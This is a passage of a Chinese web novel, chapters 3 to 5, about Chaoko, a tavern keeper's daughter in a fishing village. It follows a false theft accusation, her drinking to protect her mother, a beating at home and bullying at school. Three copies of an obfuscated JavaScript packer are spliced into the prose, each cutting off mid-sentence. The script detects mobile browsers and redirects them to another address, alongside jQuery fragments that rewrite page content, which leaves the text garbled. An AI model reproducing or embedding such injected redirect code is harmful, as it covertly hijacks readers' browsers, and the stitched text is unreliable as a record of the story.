她的脸上没有任何表情。没有委屈,没有愤怒,没有害怕。只有一种东西——倔。像那天在海边,她妈妈揪着她的耳朵,她仰着头说“没人要就没人要啊”的那种倔。 “把珠子给我。” 潮子走上前,把珠子放在老师手心里。 佐佐木老师看着那颗珠子,又看着潮子。她脸上的巴掌印还没完全消下去——那是前几天母亲打的,还留着淡淡的红痕。但她的眼睛还是那样,亮亮的,直直的。 “我没有拿。”她又说了一遍。 佐佐木老师点点头。 “回座位吧。” 潮子愣了一下。 教室里也愣了一下。 “老师?”聪子站起来,声音尖尖的,“可是珠子是从她口袋里……” “我说,回座位。” 佐佐木老师的声音还是那样慢吞吞的,但有一种不容置疑的东西。他看了聪子一眼,就一眼,聪子不说话了,慢慢坐下去。 潮子走回座位,坐下。 她感觉到旁边聪子的目光,凉凉的,像刀子。 佐佐木老师把那颗珠子收进抽屉里,走到黑板前面。 “好了,继续上课。” 他翻开课本,拿起粉笔,开始讲课。声音和平时一样慢,一样稳。好像什么都没发生过。 但潮子知道,发生过。 她看着黑板,看着老师一笔一划写下的字,耳朵里是老师的声音,但她什么都没听进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486538|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她在想那颗珠子。在想它是怎么到她口袋里的。在想聪子今天早上挨着她走的时候,手在她旁边晃来晃去的样子。 她的手攥成了拳头,放在桌子下面。 --- 那天放学后,佐佐木老师把潮子留下了。 不是批评,只是问她:“你今天来的时候,路上碰见谁了?” 潮子说了聪子的名字。 佐佐木老师点点头,没再问。 “老师。”潮子看着他,“您相信我吗?” 佐佐木老师摘下眼镜,慢慢擦着。 教室里的光线已经暗下来了,夕阳从窗户照进来,照在讲台上,照在他花白的头发上。他的动作很慢,像做什么事都不着急。 “你站在那儿的时候,眼睛很干净。”他说,“拿了东西的人,眼睛不是那样的。” 潮子低下头。 “老师……” “你知道我为什么知道吗?” 潮子抬起头。 佐佐木老师把眼镜戴上,看着她。他的眼睛藏在镜片后面,但潮子能感觉到那目光是暖的。 “我教了二十多年书。”他说,“见过各种各样的孩子。偷了东西的,没偷的,说了真话的,说了假话的。时间长了,看一眼就知道。” 潮子听着。 “你站在那里的时候,没有躲。”佐佐木老师说,“你看着我的眼睛,说没有拿。那种眼神,骗不了人。” 潮子没说话。她低下头,看着自己的手。 那双手被晒的黑黑的。但那双手是干净的,没有拿过不属于自己的东西。 “回去吧。”佐佐木老师说,“路上小心。” 潮子走到门口,又回过头。 佐佐木老师已经低下头批改作业了。夕阳照在他身上,把他的影子拉得很长。 潮子站了一会儿,然后轻轻拉开门,走出去。 --- 第二天,聪子没来上学。 第三天也没来。 第四天,聪子来了。她走进教室的时候,眼睛红红的,看都不看潮子一眼。她坐下,把书包放好,拿出课本,翻到老师讲到的那一页,动作比平时慢,比平时轻。 后来潮子才知道,佐佐木老师去了聪子家,和她父母谈了话。谈了些什么,没人知道。但聪子回来后,不再和她说话,也不再靠近她。她们坐在一起,但中间像隔着一道看不见的墙。 但聪子有别的办法。 那天放学后,潮子去井边打水。井台边上蹲着几个女孩,是聪子和她的几个朋友。她们看见潮子来了,声音突然大起来。 “……听说她妈妈是酒肆里陪酒的。” “那种女人生的孩子,手脚不干净也正常吧?” “就是,她妈妈那种人,能教出什么好东西。” “我爸说,酒肆里的女人,都是不要脸的。” “她爸是谁啊?没人知道吧?” “野种呗。” 笑声。 潮子站在那里,手里提着水桶。 几个女孩看见她,愣了一下,然后笑起来,叽叽喳喳地走了。聪子走在最后,经过潮子身边的时候,看了她一眼。 那一眼里,有胜利,有得意,还有一点点别的什么——是心虚吗?潮子不知道。 她站在那里,看着聪子走远。 井台边上只剩她一个人。风吹过来,凉凉的,带着海的味道。 潮子慢慢把水桶放进井里。绳子勒进手心,疼。她把水桶提起来,水很重,她的手抖着,水洒出来一些,打湿了她的脚。 她停下来,看着自己被水打湿的脚,看着脚上那双破旧的木屐。木屐的带子断了,用麻绳接上,麻绳也快磨断了。 然后她听见身后有脚步声。 “潮子。” 是健一郎。 他跑过来,接过她手里的水桶。 “我来。” 潮子没说话,跟在他后面走。 健一郎提着水桶走在前面,步子稳,水不洒。他从小就帮家里干活,打水这种事儿做惯了。 走了一会儿,健一郎说:“她们说的那些话,别听。” 潮子没应声。 “我奶奶说,人嘴两张皮,想说什么说什么。你别往心里去。” 潮子还是没说话。 健一郎停下来,转过身,看着她。 夕阳照在他脸上,晒得黑黑的脸上有汗,从额头流下来,顺着脸颊,流进脖子里。他的眼睛很亮,里面有那种她熟悉的光——像那天在海边,他说“把小潮嫁给我吧”的时候。 “潮子。” 潮子抬起头,看着他。 “我信你。”他说。 潮子看着他。 “你没拿。” 潮子还是看着他。 “我知道。” 潮子突然笑了一下。 不是那种露着白牙的大笑,只是嘴角轻轻动了动,眼睛弯了弯。但那一瞬间,夕阳照在她脸上,照在她鼻尖那颗小小的痣上,那颗痣跟着动了一下,像一颗会跳舞的小黑豆。 “走吧。”她说。 健一郎点点头,提着水桶,走在她旁边。 两个人走过那条杂草丛生的小路,走过村公所,走过那棵歪脖子老树。夕阳把他们俩的影子拉得很长,一高一矮,挨在一起。 酒肆的布帘在前面晃着。天快黑了,里面已经亮起灯。有人影在帘子后面晃动,有笑声传出来。 健一郎把水桶放在酒肆门口。 “明天见。” “嗯。” 潮子看着他转身。他走了几步,又回过头。 “潮子。” “嗯?” “明天早上,我来接你。” 潮子愣了一下。 “一起上学。” 健一郎说完,转身走了。他的背影越来越小,最后拐过那棵歪脖子老树,看不见了。 潮子站在那里,看着那个方向。 海浪的声音从远处传来,一下,一下。 她站在那里,听着那声音,感觉心里有什么东西在慢慢长出来。 然后她推开门,走进酒肆。 酒气扑面而来。有人在笑,有人在划拳,有人在喊“老板娘”。妈妈在柜台后面,脸上挂着那种笑,看见她进来,眼睛往楼梯那边瞟了一下,意思是“快上去”。 潮子没动。 她站在门口,看着那些男人,看着那些酒瓶,看着那些烟雾。 有人看见她,喊了一声:“哟,老板娘,你闺女这么大了?” 妈妈笑着应了一句什么,潮子没听清。 她低下头,从人群边上挤过去,爬上楼梯,钻进阁楼里。 阁楼里很黑,只有从小洞里透进来的一点光。她坐在床上,听着楼下的声音——笑声,碰杯声,妈妈的声音,男人的声音。 她把手伸进口袋里。 口袋里什么也没有。 她想起今天早上,那颗珠子从她口袋里被掏出来的时候,她有多惊讶。她想起聪子看她的那一眼。她想起那些女孩在井台边上说的话。 “野种呗。” 她把手从口袋里拿出来,放在膝盖上。 楼下又传来一阵大笑。 潮子躺下来,盯着黑漆漆的屋顶。 她想,明天早上,健一郎会来接她。 她闭上眼睛。 海浪的声音从远处传来,一下,一下。 4. 第 4 章 酒肆的门帘被风吹起来又落下去,落下去又吹起来。傍晚的风从海那边吹过来,带着咸腥的味道,穿过那条杂草丛生的小路,钻进这间烟气缭绕的屋子里。 屋里有七八个男人,三三两两散坐着。有的趴在桌上,脸埋在胳膊里,面前摆着喝空的酒瓶;有的靠在墙上,眯着眼睛,嘴里含糊不清地哼着不知名的小调;还有几个聚在角落里,声音压得很低,不知道在说什么,偶尔发出一阵压抑的笑声。 柜台后面,庆子正在擦杯子。她的动作很快,眼睛却一直在扫着屋里那些人——哪个快喝醉了,哪个需要添酒,哪个眼神开始不对了。她做这行做了快二十年,早就练出了一双这样的眼睛。 靠窗的那张桌子上,坐着两个陌生的男人。 一个四十来岁,一个二十岁出头。穿着和渔村男人不一样的衣裳——料子好,剪裁也讲究,袖口挽着,露出里面干净的衬衫。桌上摆着一瓶酒,几乎没动。年长的男人,眼睛也不像别的男人那样在庆子身上打转,而是一直看着窗外,看着那条通往海边的小路。 庆子注意他好一会儿了。傍晚来的,说是从东京来的,路过这里,歇歇脚。但谁会在这种地方歇脚?这破酒肆,前不着村后不着店,除了村里这些喝惯了劣酒的渔夫,哪会有外人来。 她多看了他两眼,没说什么。 年长一些的男人叫森本英世。东京来的摄影师,在业内小有名气。这次是来这附近采风的——听人说这边的海边保留着古老的渔村风貌,他想拍一组照片。跑了一天,天快黑了才找到这家酒肆,想着喝一杯,歇歇脚,等会儿找地方住下。 他确实在看窗外,但不是看风景。他在想事情——今天拍的胶卷不够理想,光线不对,角度也不对。明天得换个地方试试。 酒肆里吵得很。有人开始划拳,有人拍着桌子唱歌,还有人在争执什么,声音越来越大。森本皱了皱眉,端起酒杯抿了一口。 劣酒,辣嗓子。 他把杯子放下,又看向窗外。 就在这时,门帘被掀开了。 门一开,外面的风涌进来,把屋里的烟气冲散了一些。有个人走进来,逆着光,看不清脸,只看见一个细细的剪影—— 是个女孩。 她站在门口,被屋里的烟气呛得顿了一下,然后继续往里走。肩上挎着一个布书包,洗得发白,边角磨出了毛边。 光照在她脸上。 森本愣了一下。 那是一张让人过目难忘的脸。 不是那种标准的美人脸——太瘦了,颧骨的轮廓有点分明,下巴也尖,晒得也不是城里人喜欢的那种白。但正因为这样,才有了一种说不出的味道。 眼睛是那双眼睛最先抓住人的。妩媚的——眼尾微微上挑,像画里才有的那种眼型,看人的时候,眼波流转,带着一种不自知的媚。但眼神不对。那眼神太直了,太亮了,里面没有那种媚,只有一种倔,一种硬,像礁石,像海浪打在上面,打不碎的那种。 鼻子挺立,鼻尖上有一颗小小的痣,衬得那张脸活了起来——本来太倔了,那颗痣一添,就有了少女的灵动。 嘴唇抿着,薄薄的,抿成一条线。 她的脸侧过来的时候,森本倒吸了一口气。 侧脸比正脸更惊人。线条太干净了——额头到鼻尖到下巴,一条线划下来,利落得像刀裁出来的。柔和中带着硬,硬中又带着柔。少女的娇嫩和某种说不清的坚韧,同时长在这张脸上,丝毫不觉得别扭。 她站在那里,夕阳最后的光从她身后照进来,把她整个人镶了一圈金边。 酒肆里突然安静了一刹那。 那些划拳的、唱歌的、争执的,都停了一下,转过头,看着她。 然后声音又起来了,但不一样了。 有人低声问旁边的人:“这是谁家的姑娘?” “你不认识?庆子家的。” “庆子?那个陪酒的?” “嗯,她闺女。” “长这么大了?” “可不是,几年没注意,都长成大姑娘了。” 有人吹了一声口哨。 “庆子——这是你女儿吧?” 庆子的手在柜台后面顿了一下。她抬起头,看着潮子,眉头皱起来。 潮子刚放学回来,健一郎说后天周日想去海边,问她去不去。她想跟庆子说,后天能不能不在酒肆帮忙。明天还要早起去镇上上学,书包里还装着没写完的作业。 但一进门,她就知道不是时候。 “都这么大了!”那个吹口哨的男人喊起来,舌头已经大了,话都说不利索,“真漂亮啊,庆子,你闺女比你年轻时还漂亮!” 有人跟着起哄:“让她陪我们喝一杯吧!” 庆子从柜台后面走出来,快步走到潮子身边,拉住她的胳膊。 “上去。”她压低声音,眼睛没看潮子,看着那些男人,脸上堆起那种笑——那种庆子最熟悉的笑,“孩子小,不懂事,明天还得早起去镇上上学呢。” “上什么学啊!”那个醉醺醺的男人拍着桌子站起来,“从小在酒肆长大的孩子,还会不会喝酒?来来来,陪叔叔喝一杯!” 他端着杯子摇摇晃晃地走过来。 庆子把潮子往身后挡了挡,脸上还是那种笑:“大哥,您喝您的,我来陪,孩子真不行——” “什么不行!”那男人一挥手,把庆子拨开,“我就要她陪!” 庆子没站稳,踉跄了一下,撞在旁边的桌子上。桌上的酒瓶倒了,骨碌碌滚到地上,碎了一地。 潮子的眼睛一下子睁大了。 那男人还往前走,酒杯举着,酒液晃出来,洒在地上。 “来来来,喝一杯——” 潮子没动。 她看着倒在地上的母亲,看着那些碎玻璃,看着那个男人摇摇晃晃地朝自己走过来。 然后她动了。 她没躲,没跑,没喊。她朝那个男人走过去。 酒肆里突然安静下来。 所有人都看着她。 她走到那个男人面前,站定。她比那个男人矮一个头,但她仰着头看着他的眼睛,那双眼睛亮得吓人。 “杯子给我。” 声音不大,但每个人都能听见。 那个男人愣了一下,然后笑起来,把杯子递给她。 潮子接过杯子,走到柜台前面,拿起酒瓶,倒满。 满满一杯,酒液几乎要溢出来。 她举起杯子。 酒肆里鸦雀无声。 她仰起头,把酒往嘴里倒。 酒辣,呛,烧喉咙。她从来没喝过酒。但她的脸上没有任何表情,只是仰着头,一口一口往下咽。 有一滴酒从她嘴角溢出来,顺着下巴往下流,流过脖子,流进衣领里,不见了。 她喝完,把杯子往桌上一放。 “砰”的一声。 她看着那个男人,眼睛还是那么亮,那么直。 那个男人愣在那里。 然后有人鼓起掌来。 “好!” “庆子,你这闺女行啊!” “就应该这样,早点出来帮你妈!” 有人大笑,有人吹口哨,有人拍桌子。 潮子站在那里,没动。 她看见母亲从地上爬起来,看见母亲的脸——那张脸上没有笑,只有一种她从来没见过的表情。不是生气,是别的什么。比生气更可怕的东西。 庆子走过来,一把抓住她的手腕,把她往楼梯那边拽。 “妈——” “上去。” 声音很轻,但潮子听出了那声音里的东西。她没再说话,被母亲拽着,跌跌撞撞地上了楼梯。 身后,那些男人的笑声还在继续。 --- 森本英世从头到尾看着这一幕。 他没有鼓掌,也没有笑。他就那么坐着,看着那个女孩走进来,看着那些男人起哄,看着那个女孩接过杯子,仰头把酒喝下去。 最后那一滴酒从她嘴角流下来的时候,他的瞳孔缩了一下。 旁边坐着的是他的助手,一个二十出头的年轻人,叫小林。小林也看愣了,半天才回过神来,凑过来小声说:“森本先生,那个女孩……” “嗯。” “太……” “嗯。” 小林不知道该说什么了。他跟着森本跑了好几年,见过不少人,拍过不少人。但这样的女孩,他第一次见。 “她多大?”小林问。 “十四五吧。”森本说。 “十四五……”小林咂咂嘴,“那个眼神,不像十四五的。” 森本没说话。他端起杯子,喝了一口酒。还是劣酒,还是辣嗓子。但他没放下杯子,就那么端着,眼睛还看着楼梯的方向。 “她不应该在这里。”他说。 小林愣了一下。 “森本先生?” “这种地方。”森本把杯子放下,“这种地方,会把她吃掉。” 小林没接话。他顺着森本的目光看向楼梯,那个女孩消失的地方。 “您是说……” “你知道山田洋次导演最近在找什么样的演员吗?” 小林想了想,摇头。 “小渔村的姑娘。”森本说,“纯的,野的,有劲儿的。下一部戏里有个角色,就是渔村出来的小姑娘。” 小林看向楼梯那边。 “她……” “嗯。” 森本站起来,走到柜台前面。庆子已经从楼上下来了,正在收拾那些碎玻璃。她的动作很慢,手在抖。 “老板娘。”森本说。 庆子抬起头,看着他。她的眼睛红红的,但没哭。 “什么事?” 森本从怀里掏出一张名片,放在柜台上。 “我是东京来的摄影师。”他说,“如果……如果以后有什么需要帮忙的,可以联系我。” 庆子看着那张名片,没动。 “帮忙?”她的声音哑哑的,“帮什么忙?” 森本沉默了一下。 “那个女孩。”他说,“您女儿。” 庆子的手停住了。 “她……”森本斟酌着措辞,“她身上有一种东西。很特别的东西。如果以后有机会去东京……” “东京?”庆子打断他,声音突然尖锐起来,“她去东京干什么?去给人陪酒吗?” 森本没说话。 庆子低下头,继续收拾碎玻璃。她的手被划了一道口子,血流出来,她好像没感觉到。 “我女儿要读书的。”她说,声音低下去,“我供她读书,不是让她……” 她没说完。 森本站在那里,看着她。他看见这个女人手上的血,看见她佝偻下去的背,看见她整个人像被什么东西压着,压了几十年。 他把名片往她手边推了推。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486539|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “收着吧。”他说,“万一呢。” 然后他转身走回座位,坐下。 小林凑过来小声问:“她会联系您吗?” 森本没回答。他看着楼梯的方向,看着那个刚才女孩消失的地方。 “不知道。”他说。 --- 阁楼的门被推开,又被重重关上。 潮子被推得踉跄了一下,差点摔倒。她站稳了,转过身,看着母亲。 庆子站在门口,胸口剧烈地起伏着。 月光从小洞里照进来,照在两个人脸上。 “啪。” 一巴掌。 潮子的脸偏向一边,火辣辣地疼。她没动,没说话,就那么侧着脸站着。 “啪。” 又一巴掌。 “我让你读书——” 庆子的声音在抖,在颤,像一根绷紧的线。 “我让你读书是让你去陪酒的吗!” 她抓起桌上的东西,往地上砸。 是那个破旧的搪瓷缸子,“哐”的一声,砸在墙上,弹回来,滚到潮子脚边。 她又抓起一个,是潮子用来装贝壳的罐子——那是健一郎送她的,里面装着他们一起在海边捡的贝壳。罐子砸在地上,碎了,贝壳滚了一地。 “我辛辛苦苦供你读书——” 庆子的声音变成了喊,变成了吼,变成了她自己都陌生的声音。 “我被人骂,被人看不起,我认了——” 她又砸了一个东西,是那个油灯。油洒出来,流了一地,屋里暗下来,只剩从小洞里照进来的那一点月光。 “我让你去学校,让你学写字,让你将来不用像我一样——” 她停下来,站在那里,胸口剧烈地起伏着。 “你倒好!” 她冲过来,一把揪住潮子的衣领。 “你倒好!你给那些人敬酒!你当着那些男人的面喝酒!你知不知道那是什么地方!你知不知道那些男人在想什么!” 潮子看着她。 月光照在庆子脸上,照在她扭曲的五官上,照在她眼角的皱纹上,照在她干裂的嘴唇上。那张脸上有愤怒,有恐惧,有她从来没见过的绝望。 “妈。” 潮子的声音很轻。 “那个人把你推倒了。” 庆子愣住了。 “他把你推倒了。”潮子又说了一遍,“我看着你倒在地上。” 庆子的手松了一点。 “我看着那些碎玻璃。”潮子说,“我看着那些人笑。” 她的手完全松开了。 “我什么都没想。”潮子的声音还是那么轻,“我就是……不能让人那么对你。” 庆子站在那里,看着她。 月光照在潮子脸上,照在她肿起来的半边脸上,照在她鼻尖那颗小小的痣上。她的眼睛还是那么亮,那么直,里面没有委屈,没有害怕,只有那种礁石一样的东西。 庆子的手抖了一下。 她张了张嘴,想说什么,说不出来。 她转身,拉开门,冲下楼去。 门“砰”的一声关上。 阁楼里安静下来。 潮子站在那里,一动不动。 地上都是碎的东西——搪瓷缸子,贝壳罐子,油灯,还有那些洒了一地的油。屋里有一股煤油的味道,混着霉味,混着她自己身上的汗味。 她低下头,看着那些碎了的贝壳。 有一个贝壳滚到她脚边,是白色的,有粉色的纹路,是她最喜欢的那个。那是健一郎在礁石缝里找到的,递给她的时候说“这个好看,给你”。 她弯腰,把它捡起来。 贝壳还完好,没碎。 她把它握在手心里,攥紧。 她走到床边,坐下。书包还背在肩上,沉沉的。她把书包放下来,打开,里面是课本和作业本。明天要交的算术题,还没写完。 她看着那些作业本,看了很久。 楼下传来笑声,碰杯声,还有母亲的声音——又变成了那种笑,那种和平时一样的笑。 潮子坐在那里,听着那些声音。 她把作业本拿出来,翻开,拿起笔。 手在抖。 笔尖落在纸上,歪歪扭扭的,不像字。 她放下笔,站起来,走到那个小洞前面,踮起脚,往外看。 外面是夜晚,天已经黑了。对面那片草窝里,黑漆漆的,什么也看不见。 她看了一会儿,慢慢把窗户推开一点。 风吹进来,带着海的味道,凉凉的。 她站在那里,让风吹在脸上,吹在肿起来的那半边脸上。 楼下,那些声音还在继续。 她握着那枚贝壳,看着窗外那片黑暗。 不知道过了多久,她看见草窝里有一点光闪了一下。 是灯笼。 是健一郎的灯笼。 那光举起来,晃了晃,像是打招呼。 潮子看着那光,没有挥手,没有说话。 她就那么看着。 过了一会儿,那光灭了。 但潮子知道,他还在那里。 她关上窗户,走回床边,坐下。 作业本还摊在那里,算术题只写了半道。 她把本子合上,躺下来。 手心里还攥着那枚贝壳。 她闭上眼睛。 明天还要早起,走去镇上上学。 5. 第 5 章 第二天早上,潮子起得很早。 脸上的肿还没消,她用凉水洗了把脸,对着盆里的倒影看了很久。倒影模模糊糊的,看不清,但那股火辣辣的疼她知道还在。她从柜子里翻出一条旧头巾,把半边脸遮了遮——不是怕人看见,是不想让健一郎问。 她推开门,走下楼梯。酒肆里还睡着,地上有昨晚留下的酒瓶和烟头,空气里一股发馊的味道。她踮着脚从那些乱七八糟的东西中间穿过去,推开酒肆的门。 外面天刚蒙蒙亮,海风吹过来,凉凉的,带着咸味。她站在门口等了一会儿,就看见一个人从小路那头走过来。 是健一郎。 他走得很快,步子比平时还大,走到她面前的时候,胸口还微微起伏着。 “走。”他说。 潮子点点头,跟上去。 两个人并排走着,谁也没说话。那条走了无数遍的小路,两边的草比夏天的时候黄了一些,露水打在上面,亮晶晶的。潮子低着头,看着自己的脚——脚上还是那双木屐,带子又换过一次了,是健一郎帮她换的。 走了一会儿,健一郎侧过头,看了她一眼。 “脸怎么了?” 潮子没说话。 健一郎停下来。 潮子也停下来。 “潮子。” 她抬起头,看着他。 晨光照在他脸上,晒得黑黑的,额头上有一层薄薄的汗。他的眼睛看着她的脸,看着那头巾遮不住的地方——那一片红红的、肿起来的印子。 “昨晚?”他问。 潮子点点头。 健一郎沉默了一会儿,然后伸出手,想碰她的脸。伸到一半,又缩回去了。 “走吧。”他说。 两个人继续走。 走到那棵歪脖子老树的时候,健一郎突然说:“我奶奶不太好。” 潮子愣了一下,转过头看着他。 “昨晚,咳了一晚上血。”健一郎的声音很平,像在说今天天气不错,“我爸说,可能就这几天了。” 潮子没说话。她想起那个瞎眼的奶奶,想起小时候她和健一郎在海边玩,奶奶就坐在家里,等着孙子回去。健一郎每次提起她,眼睛里都有一种光。 “你……”潮子想说什么,又不知道说什么。 健一郎摇摇头。 “走吧,要迟到了。” 两个人继续走,步子比刚才快了。 到镇上的时候,太阳已经升起来了。初中比村里的小学大多了,一栋两层的木头教学楼,操场也大,还有一个小小的体育馆。潮子第一次来的时候,站在校门口看了很久——她从来没见过这么大的学校。 他们走进教室的时候,预备铃还没响,但已经来了不少人。 潮子一进门,就感觉到那些目光。 她习惯了。从她第一天踏进这所学校,那些目光就没断过。有好奇的,有同情的,有看不起的,还有一种——那种她最熟悉的,从那些女生眼睛里射出来的,凉凉的,像刀子一样的光。 她没抬头,径直走到自己的座位坐下。 但那些目光还是追着她。 “哟,你看她脸上。” 声音不大,但她听得见。 “又添新伤了。” “她妈打的吧?那种女人,不打孩子才怪呢。” “活该。” 潮子低着头,翻开课本。 坐在斜后方的几个女生凑在一起,头挨着头,眼睛却往她这边瞟。其中一个长得圆脸圆眼的,叫山口阳子,是聪子最要好的朋友。另一个瘦高个,叫渡边久美,也是聪子的跟班。 聪子自己坐在靠窗的位置,翘着腿,正在翻一本杂志。她听见那几个女生的声音,抬起头,往潮子那边看了一眼。 潮子坐在那里,侧脸对着她。那头巾遮住了半边脸,但还是能看见那红红的印子,从鬓角一直延伸到下巴。 聪子眯了眯眼睛。 她想起很多事——想起小学时候那颗珠子的事,想起佐佐木老师去她家那天晚上,她爸打她的那一巴掌,想起这些年潮子每次考试都比她好,每次老师点名回答问题,潮子的声音都比她稳。 她最恨的,不是那些事。 是潮子的眼睛。 那双眼睛,无论发生什么事,都还是那么亮,那么直,那么……像什么事都没发生过一样。 “聪子。”阳子凑过来,压低声音,“你看她那张脸,真不顺眼。” 久美也凑过来,小声说:“要不找个机会。” 聪子往教室里扫了一眼。 健一郎坐在那里,她知道有他在,他们就找不到机会。 但她的脸上什么也没露出来,只是“嗯”了一声,继续翻杂志。 杂志是一本体育杂志,封面是一个穿着棒球服的少年,正挥着球棒,侧脸被阳光照得发亮。杂志封面上印着一行大字: 「清源幸司——开成学院的彗星」 聪子看着那张脸,看了一会儿,手指在封面上摸了摸。 --- 中午午休的时候,潮子一个人坐在教室里。 健一郎第二节课的时候就走了。班主任进来,在他耳边说了几句话,他脸色一下子变了,站起来,收拾书包,往外走。走到门口的时候,他回头看了潮子一眼。 潮子站起来。 “没事。”他说,声音闷闷的,“你上课。” 然后他就走了。 潮子坐在那里,看着那扇门,看了很久。 一上午的课她都没听进去。老师在讲什么,她不知道。课本上的字,她看着,却进不了脑子。她一直在想健一郎,想他走的时候那个眼神,想他奶奶。 那个瞎眼的奶奶,会唱很多老歌的奶奶,总说健一郎“命硬”的奶奶。 中午铃响了,同学们都去食堂了。潮子没去。她不饿。 她一个人坐在教室里,看着窗外发呆。 楼下传来一阵喧哗声。她往下看,看见几个男生从操场上跑过去,一边跑一边喊着什么。听不清,但隐约有“电视”“甲子园”这几个字。 潮子想起来,老师说今天中午可以看电视——学校那台老旧的电视机,搬到食堂里了,让想看甲子园大赛的同学去看。 甲子园。 她知道那是什么。每年夏天,有一件事能让所有人都不睡觉——那就是甲子园。从六月到八月,全日本四十七个都道府县,四千多所高中,几万个少年,为了一个目标拼尽全力:打进甲子园。 她从来没看过。酒肆里没有电视,阁楼里更没有。但她听说过。听健一郎说过。他说他小时候也想过打棒球,但家里没钱买手套。 潮子站起来,往楼下走。 食堂里挤满了人,大多是男生,也有一些女生挤在人群后面,踮着脚往电视那边看。那台电视机小小的,黑白的,屏幕还闪着雪花,但没有人介意。所有人的眼睛都盯着那个小小的屏幕。 电视里正在转播比赛。 解说员的声音激动得发颤:“——清源、清源又来了!这是今天他的第三支安打!天才!这个少年一定是天才!开成学院史上最强打者!” 屏幕里,一个穿着白色球衣的少年正在跑垒。画面有点模糊,但能看出他很高,跑起来像一阵风。镜头拉近,给了他的脸一个特写—— 潮子愣了一下。 那是一张很好看的脸。 不是那种女气的漂亮,是干干净净的、阳光晒过的、带着少年气的好看。眉毛很浓,眼睛很亮,笑起来的时候,露出一排整齐的白牙。汗水从额头上流下来,流过脸颊,他用手套随便抹了一下,继续盯着场上。 解说员还在喊:“清源幸司!今年刚满十七岁,就已经是开成学院的王牌!他的目标是——全国制霸!” 人群里爆发出一阵欢呼。 “清源!清源!” “太帅了!” “开成!开成!” 潮子站在那里,看着屏幕里那个少年。他站在场上,微微弯着腰,眼睛盯着投手的方向。阳光照在他身上,把他整个人照得发亮。 她从来没见过这样的人。 不是因为他长得好看。是因为他站在那里,整个人像一束光——那么亮,那么干净,那么……不像她见过的任何东西。 “哟,那个卖酒女也来看了呢。” 声音从旁边传来,不大,但她听得清清楚楚。 潮子转过头。 阳子站在人群边上,旁边站着久美,还有两个她不认识的女生。阳子正朝她努嘴,眼睛斜斜地瞟着。 “就她这样低贱的人也配?”阳子的声音故意抬高了,让周围几个人都能听见,“开成学院那种地方,是她能想的吗?癞蛤蟆想吃天鹅肉吧!” 久美捂着嘴笑。 潮子看着她,没说话。 “看她那张脸,”阳子凑到久美耳边,但声音还是能让潮子听见,“真不顺眼。” 久美低声说了句什么,几个人都笑起来。 潮子把目光收回来,继续看电视。 屏幕里,清源幸司正在挥棒。 “嘣”的一声,球飞出去,飞得又高又远。 解说员疯了:“本垒打——!清源幸司,本垒打——!开成学院先驰得点!” 人群炸了。欢呼声、尖叫声、口哨声混成一片。潮子站在那里,看着屏幕里那个少年跑垒,一圈,两圈,三圈,最后踩上本垒板,被队友们围住,抱成一团。 她不知道自己脸上是什么表情。但她觉得,心里有什么东西动了一下。 然后她听见身后有脚步声。 她转过头。 阳子她们已经走了。但食堂门口,聪子站在那里,正看着她。 那目光,和小学时候一模一样。 凉凉的,像刀子。 --- 下午第二节课后,是自由活动时间。 潮子一个人往操场后面的小树林走。那里人少,可以安静地待一会儿。她想着健一郎,不知道他奶奶怎么样了,不知道他现在在哪儿。 她没注意到身后有脚步声。 等她知道的时候,已经晚了。 一只手从后面伸过来,一把揪住她的头发,把她往后拽。 “啊——” 她踉跄着往后退,头皮疼得发麻。她想回头,但头发被揪得死死的,动不了。 “跑哪儿去啊,卖酒女?” 是阳子的声音。 潮子被拽进小树林里。几个人把她围在中间——阳子、久美,还有一个她不认识的女生,比她们都高,块头也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486540|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大。 阳子松开她的头发,把她往前一推。潮子踉跄了一下,站稳了,抬起头,看着她们。 “你们想干什么?” “干什么?”阳子笑了,“你中午不是看得挺起劲吗?看清源幸司,看得眼睛都直了。” 久美在旁边帮腔:“也不照照镜子,看看自己什么德行。清源幸司这种人,是你这种卖酒女能想的?” 那个高个子女生抱着胳膊,站在后面,不说话,但那双眼睛上下打量着潮子,像看一件东西。 潮子没说话。 她的眼睛很亮,很直,看着阳子。 阳子被那目光看得有点不舒服。她想起聪子说过的话:“那双眼睛,看着就让人生气。” “给我按住她。” 高个子女生走过来,一把抓住潮子的胳膊。潮子挣了一下,挣不动——那人力气太大了。 阳子走到她面前,凑近她的脸,看着那片红红的、肿起来的印子。 “你妈打的吧?”她笑了,“打得真好。” 潮子盯着她。 阳子突然抬手,“啪”的一下,打在潮子脸上,正打在那块肿起来的地方。 疼。钻心的疼。潮子的眼前黑了一下,差点站不住。 “这一下,是替你妈打的。”阳子笑着,“养出你这么个东西。” “啪。” 又一巴掌。 